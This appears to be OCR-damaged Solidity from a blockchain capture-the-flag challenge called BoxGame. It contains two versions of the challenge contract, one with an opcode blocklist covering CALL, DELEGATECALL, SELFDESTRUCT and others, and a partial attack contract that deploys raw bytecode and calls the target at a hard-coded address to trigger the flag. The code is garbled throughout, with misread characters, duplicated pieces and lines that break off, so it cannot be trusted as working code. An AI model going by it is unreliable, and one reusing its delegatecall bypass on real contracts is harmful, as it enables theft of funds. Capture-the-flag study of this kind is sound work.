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pragma solidity ~0.5.10;

contract BoxGame {

event ForFlag (address addr) ;
address public target;

constructor (bytes memory a) payable public {
assembly {
return (add (0x20, a), mload(a))
}
}

function payforflag(address payable addr) public {

require( addr != address(0));

target.delegatecall (abi.encodeWithSignature ("")) ;

selfdestruct (_addr) ;
}

function sendFlag() public payable {
require (msg.value >= 1000000000 ether);
emit ForFlag(msg.sender) ;
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1 pragma solidity ~0.5.10;

2

3 contract BoxGame {

4

5 event ForFlag (address addr) ;

6 address public target;,

7

8 function payforflag (address payable addr) public {
9

10 require( addr != address(0));

11

12 uint256 size;

13 bytes memory code;

14

15 assembly {

16 size := extcodesize(_addr)

17 code := mload (0x40)

18 mstore (0x40, add(code, and(add(add(size, 0x20), 0x1f), not (0x1f))))
19 mstore (code, size)

20 extcodecopy (_addr, add(code, 0x20), 0, size)
21 }

22

23 for (uint256 1 = 0; 1 < code.length; i++) {

24 require(code[i] != 0xf0); // CREATE

25 require(code[i] != 0xfl); // CALL

26 require(code[i] != 0xf2); // CALLCODE

27 require(code(i] != 0xf4); // DELEGATECALL
28 require(code[i] != Oxfa); // STATICCALL
29 require(code[i] != 0xff); // SELFDESTRUCT
30 }

31

32 _addr.delegatecall (abi.encodeWithSignature ("")) ;
33 selfdestruct (_addr) ;

34 }

35

36 function sendFlag() public payable {

37 require (msg.value >= 1000000000 ether) ;

38 emit ForFlag(msg.sender) ;

39 }

40

41 }
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/*

contract pikachu {

emit ForFlag(address (0)) ;
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constructor () public payable {

assembly {
mstore (0x500,
mstore (0x520,
mstore (0x540,
mstore (0x560,
mstore (0x580,
mstore (0x5a0,
return (0x500,

45 contract Hack {
BoxGame private constant target = BoxGame (0x4c3aa84018A031C11bE09%e4b2dCC346Ac055956d) ;
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constructor () public payable {

bool result;

// emit ForFlag(0)

pikachu hack = new pikachu();
(result, ) = address (target).call (abi.encodeWithSelector (

0xc1803191,
hack

))

require (result) ;
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